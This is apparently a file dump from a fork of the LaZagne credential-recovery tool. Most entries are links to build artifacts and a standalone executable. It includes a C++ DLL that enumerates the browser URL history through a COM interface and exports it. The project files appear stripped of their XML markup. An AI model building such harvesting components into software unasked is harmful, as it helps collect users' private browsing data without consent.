-------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/link.read.1.tlog -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/link.write.1.tlog -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/mt.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/mt.command.1.tlog -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/mt.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/mt.read.1.tlog -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/mt.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/mt.write.1.tlog -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/stdafx.obj -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/Release/vc100.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/vc100.pdb -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #pragma comment(lib, "ole32.lib") 8 | 9 | #define URL_HISTORY_MAX 512 10 | #include 11 | 12 | int GetUrlHistory(wchar_t **UrlHistory); 13 | int GetUrlHistory(wchar_t **UrlHistory) 14 | { 15 | int max = 0, len; 16 | wchar_t *p = NULL; 17 | IUrlHistoryStg2 *pUrlHistoryStg2 = NULL; 18 | IEnumSTATURL *pEnumUrls; 19 | STATURL StatUrl[1]; 20 | ULONG ulFetched; 21 | HRESULT hr; 22 | CoInitialize(NULL); 23 | 24 | hr = CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER,IID_IUrlHistoryStg2,(void**)(&pUrlHistoryStg2)); 25 | if (SUCCEEDED(hr)) 26 | { 27 | hr = pUrlHistoryStg2->EnumUrls(&pEnumUrls); 28 | if (SUCCEEDED(hr)) 29 | { 30 | while (max < URL_HISTORY_MAX && (hr = pEnumUrls->Next(1,StatUrl, &ulFetched)) == S_OK) 31 | { 32 | if (StatUrl->pwcsUrl != NULL) 33 | { 34 | if (NULL != (p = wcschr(StatUrl->pwcsUrl,'?'))) 35 | *p='\0'; 36 | len = wcslen(StatUrl->pwcsUrl) + 1; 37 | UrlHistory[max] = new wchar_t[len]; 38 | if (UrlHistory[max]) 39 | { 40 | wcscpy_s(UrlHistory[max], len, StatUrl->pwcsUrl); 41 | UrlHistory[max][len - 1] = '\0'; 42 | max++; 43 | } 44 | } 45 | } 46 | pEnumUrls->Release(); 47 | } 48 | pUrlHistoryStg2->Release(); 49 | } 50 | CoUninitialize(); 51 | return max; 52 | } 53 | 54 | extern "C" __declspec(dllexport) wchar_t** list() 55 | { 56 | static wchar_t *UrlHistory[URL_HISTORY_MAX]; 57 | GetUrlHistory(UrlHistory); 58 | return &UrlHistory[0]; 59 | } -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/historic.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {01577051-CDE2-4A5A-80D4-16F2A5A1026D} 23 | Win32Proj 24 | historic 25 | history 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | Unicode 32 | 33 | 34 | DynamicLibrary 35 | false 36 | true 37 | Unicode 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | true 51 | 52 | 53 | false 54 | 55 | 56 | 57 | Use 58 | Level3 59 | Disabled 60 | WIN32;_DEBUG;_WINDOWS;_USRDLL;HISTORIC_EXPORTS;%(PreprocessorDefinitions) 61 | 62 | 63 | Windows 64 | true 65 | 66 | 67 | 68 | 69 | Level3 70 | Use 71 | MaxSpeed 72 | true 73 | true 74 | WIN32;NDEBUG;_WINDOWS;_USRDLL;HISTORIC_EXPORTS;%(PreprocessorDefinitions) 75 | 76 | 77 | Windows 78 | true 79 | true 80 | true 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | false 90 | 91 | 92 | false 93 | 94 | 95 | 96 | 97 | 98 | Create 99 | Create 100 | 101 | 102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/historic.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Fichiers d%27en-tête 20 | 21 | 22 | Fichiers d%27en-tête 23 | 24 | 25 | 26 | 27 | Fichiers sources 28 | 29 | 30 | Fichiers sources 31 | 32 | 33 | Fichiers sources 34 | 35 | 36 | -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/historic.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/history.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/history.cpp -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/stdafx.cpp -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/stdafx.h -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/historic/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/targetver.h -------------------------------------------------------------------------------- /Windows/src/browser_history_dll/historic/ipch/historic-a0234e08/history-838e9c18.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/ipch/historic-a0234e08/history-838e9c18.ipch -------------------------------------------------------------------------------- /Windows/standalone/laZagne.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/standalone/laZagne.exe -------------------------------------------------------------------------------- /pictures/lazagne.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/pictures/lazagne.png -------------------------------------------------------------------------------- /pictures/softwares.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/pictures/softwares.png --------------------------------------------------------------------------------